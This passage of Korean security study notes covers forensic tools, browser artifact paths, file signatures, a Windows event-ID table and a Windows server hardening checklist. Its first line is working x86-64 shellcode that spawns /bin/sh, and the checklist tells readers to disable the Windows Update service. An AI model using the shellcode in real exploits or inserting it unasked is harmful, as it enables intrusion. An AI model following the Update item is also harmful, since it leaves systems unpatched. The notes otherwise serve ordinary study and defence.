31 \x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05
ⅩⅦ Reversing hacking
ⅩⅧ Forensic
volatility image의 메모리, 파일 덤프
String.exe exe file을 string으로 바꿔줌
Win prefetch view
Autoruns 자동실행 프로그램의 정보를 보여줌
DB browser for SQLite Chrome history file view
ProcessExplorer Process status
FTK Imager
Ghidra Assembly code 분석
Registry explorer registry 분석
HxD
Web artifect
Internet explorer 9이전
Cache: %UserProfile%\AppData\Local\Microsoft\Windows\Temporary Internet Files
History: %UserProfile%\AppData\Local\Microsoft\Windows\History
Cookie: %UserProfile%\AppData\Roaming\Microsoft\Windows\Cookies
Download: %UserProfile%\AppData\Roaming\Microsoft\Windows\IEDownloadHistory
Internet explorer 10이후
통합: %UserProfile%\AppData\Local\Microsoft\Windows\WebCache\WebCacheV??.dat
File signature
┌───────────────┬───────────────────────┬───────────────────────┐
│File type │Header signature │Footer signature │
├───────────────┼───────────────────────┼───────────────────────┤
│JPEG │FF D8 FF E0 │FF D9 │
│PNG │89 50 4E 47 0D 0A 1A 0A│49 45 4E 44 AE 42 60 82│
│PDF │25 50 44 46 2D 31 2E │25 25 45 4F 46 │
│ZIP │50 4B 03 04 │50 4B 05 06 │
└───────────────┴───────────────────────┴───────────────────────┘
Event log
┌───────────────┬───────────────┬───────────────────────────────────────────────────────┐
│구분 │이벤트 ID │ │
├───────────────┼───────────────┼───────────────────────────────────────────────────────┤
│USB 연결 │처음 연결 │2003, 2004, 2006, 2010, 2100, 2101, 2105, 2106, │
│ │ │10000, 10002, 10100, 20001, 20003, 24576, 24577, 24579 │
│ ├───────────────┼───────────────────────────────────────────────────────┤
│ │연결 │2003, 2004, 2005, 2006, 2010, 2100, 2101, 2105, 2106 │
│ ├───────────────┼───────────────────────────────────────────────────────┤
│ │해제 │2003, 2004, 2006, 2010, 2100 │
└───────────────┴───────────────┴───────────────────────────────────────────────────────┘
┌───────────────┬───────────────────────────────────────────────────────────────────────────────┬───────┐
│구분 │이벤트ID │ │
├───────────────┼───────────────────────────────────────────────────────────────────────────────┼───────┤
│프로그램 │실행한 프로그램 및 설치경로, 확인자 이름 │17 │
│설치 ├───────────────────────────────────────────────────────────────────────────────┼───────┤
│ │Office 프로그램 종류, 알림 내용 │300 │
├───────────────┼───────────────────────────────────────────────────────────────────────────────┼───────┤
│공유폴더 사용 │개체에 대한 핸들 요청, 개체, 프로세스 정보, 액세스 요청 정보 │4656 │
│ ├───────────────────────────────────────────────────────────────────────────────┼───────┤
│ │개체 접근 관련 정보, 개체 이름, 접근 프로세스 ID, 이름, 접근 정보 요청 │4663 │
│ ├───────────────────────────────────────────────────────────────────────────────┼───────┤
│ │네트워크 공유 개체가 액세스됨, 제목, 네트워크 정보, 공유 정보, 액세스 요청 정보│5140 │
├───────────────┼───────────────────────────────────────────────────────────────────────────────┼───────┤
│프린터 사용 │문서 인쇄 완료 │307 │
│ ├───────────────────────────────────────────────────────────────────────────────┼───────┤
│ │작업 인쇄 중 │801 │
│ ├───────────────────────────────────────────────────────────────────────────────┼───────┤
│ │작업 삭제 중 │802 │
│ ├───────────────────────────────────────────────────────────────────────────────┼───────┤
│ │인쇄 작업이 프린터로 전송됨 │842 │
├───────────────┼───────────────────────────────────────────────────────────────────────────────┼───────┤
│원격 연결/해제 │RDP ClientActiveX가 서버에 연결하려고 함 │1024 │
│ ├───────────────────────────────────────────────────────────────────────────────┼───────┤
│ │클라이언트가 서버에 대한 다중 연결을 시작함 │1102 │
│ ├───────────────────────────────────────────────────────────────────────────────┼───────┤
│ │도메인에 연결 완료, 도메인 이름 │1027 │
│ ├───────────────────────────────────────────────────────────────────────────────┼───────┤
│ │프로세스가 끝남, 주체, 프로세스 정보 │4689 │
├───────────────┼───────────────────────────────────────────────────────────────────────────────┼───────┤
│PC 시작/종료 │운영체제가 시작됨, 시스템 시간 │12 │
│ ├───────────────────────────────────────────────────────────────────────────────┼───────┤
│ │시스템 작동시간 │6013 │
│ ├───────────────────────────────────────────────────────────────────────────────┼───────┤
│ │운영체제가 종료됨, 시스템 시간 │13 │
│ ├───────────────────────────────────────────────────────────────────────────────┼───────┤
│ │컴퓨터의 전원 끄기/다시 시작을 수행함, 컴퓨터 이름, 종료 유형 │1074 │
├───────────────┼───────────────────────────────────────────────────────────────────────────────┼───────┤
│로그온/오프 │사용자 로그온 알림을 받음 │1 │
│ ├───────────────────────────────────────────────────────────────────────────────┼───────┤
│ │사용자 로그온 알림 프로세스 완료 │2 │
│ ├───────────────────────────────────────────────────────────────────────────────┼───────┤
│ │사용자 로그오프 알림을 받음 │3 │
│ ├───────────────────────────────────────────────────────────────────────────────┼───────┤
│ │사용자 로그오프 알림 프로세스 완료 │4 │
│ ├───────────────────────────────────────────────────────────────────────────────┼───────┤
│ │명시적 자격 증명을 사용하여 로그온을 시도, 주체, 자격 증명이 사용된 계정 │4648 │
│ ├───────────────────────────────────────────────────────────────────────────────┼───────┤
│ │고객 경험 개선프로그램을 위한 사용자 로그오프 알림 │7002 │
├───────────────┼───────────────────────────────────────────────────────────────────────────────┼───────┤
│시스템 시간 │시스템 시간 변경 내역, 변경 이유 │1 │
│변경 ├───────────────────────────────────────────────────────────────────────────────┼───────┤
│ │변경한 날짜 및 시간 정보 │20000 │
│ ├───────────────────────────────────────────────────────────────────────────────┼───────┤
│ │변경한 표준 시간대 정보 │20001 │
├───────────────┼───────────────────────────────────────────────────────────────────────────────┼───────┤
│파일 조작 여부 │개체가 삭제됨, 계정 이름, 개체 조작 ID, 프로세스 정보 │4660 │
│확인 ├───────────────────────────────────────────────────────────────────────────────┼───────┤
│ │개체에 액세스하려고 시도됨, 개체 이름, 접근 프로세스 ID, 이름, 접근 요청 정보 │4663 │
└───────────────┴───────────────────────────────────────────────────────────────────────────────┴───────┘
ⅩⅨWeb
secpol.msc 로컬보안정책
보안 설정 > 계정 정책 > 암호 정책 > 암호는 복잡성을 만족해야 함: 사용
보안 설정 > 계정 정책 > 암호 정책 > 최대 암호 사용 기간: 90일
보안 설정 > 계정 정책 > 암호 정책 > 최소 암호 길이: >9 문자
보안 설정 > 계정 정책 > 암호 정책 > 최소 암호 사용 기간: >1 일
보안 설정 > 계정 정책 > 암호 정책 > 해독 가능한 암호화를 사용하여 암호 저장: 사용 안 함
보안 설정 > 계정 정책 > 암호 정책 > 최근 암호 기억: >4개 암호 기억됨
보안 설정 > 계정 정책 > 계정 잠금 정책 > 계정 잠금 기간: >60 분
보안 설정 > 계정 정책 > 계정 잠금 정책 > 계정 잠금 임계값: 5 번의 잘못된 로그온 시도
보안 설정 > 계정 정책 > 계정 잠금 정책 > 다음 시간 후 계정 잠금 수를 원래대로 설정: >60 분
보안 설정 > 로컬 정책 > 보안 옵션
계정: 콘솔 로그온 시 로컬 계정에서 빈 암호 사용 제한: 사용Everyone 사용 권한을 익명 사용자에게 적용: 사용 안 함
대형 로그온: 마지막 사용자 이름 표시 안 함: 사용
gpedit.msc 로컬그룹정책편집기
lusrmgr.msc 로컬 사용자 및 그룹 사용자
로컬 사용자 및 그룹(로컬) > 사용자 > Guest > 속성
계정사용안함 체크
로컬 사용자 및 그룹(로컬) > 그룹 > Administrators > 속성
구성원에서 불필요한 계정 제거
sysdm.cpl 시스템 속성
원격 > 원격 데스크톱 > 이 컴퓨터에 대한 원격요연결 허용 안 함
또는 이 컴퓨터에 대한 원격 연결 허용 > 사용자 선택 확인할 것
fsmgmt.msc 공유 폴더
공유 폴더(로컬) > 공유
C$, D$, E$, ADMIN$ 오른쪽 클릭 > 공유 중지
일반 공유 디렉토리가 없거나 접근 권한에 Everyone 권한이 없어야 함
regedit 레지스트리 편집기
HKLM\SYSTEM\CurrentControlSet\Services\lanmanserver\parametrs > AutoShareWkS: 0 또는 AutoShareServer: 0
services.msc 서비스
서비스(로컬) > Windows Update > 속성
Windows Update 속성
시작 유형: 사용 안 함
서비스 상태: 중지
ncpa.cpl 네트워크 연결
이더넷 오른쪽 클릭 > 속성
Ethernet0 속성
서비스(로컬) > IIS Admin Service > 속성
IIS Admin Service 속성
일반 > 시작 유형: 사용 안 함
일반 > 서비스 상태: 중지
또는
로그온 > 계정 지정: 찾아보기를 눌러 지정
시작 > server manager 서버 관리자
도구 > IIS(인터넷 정보 서비스) 관리자
WIN-657P3PMUAVG > 디렉터리 검색
사용안함 설정
WIN-657P3PMUAVG > CGI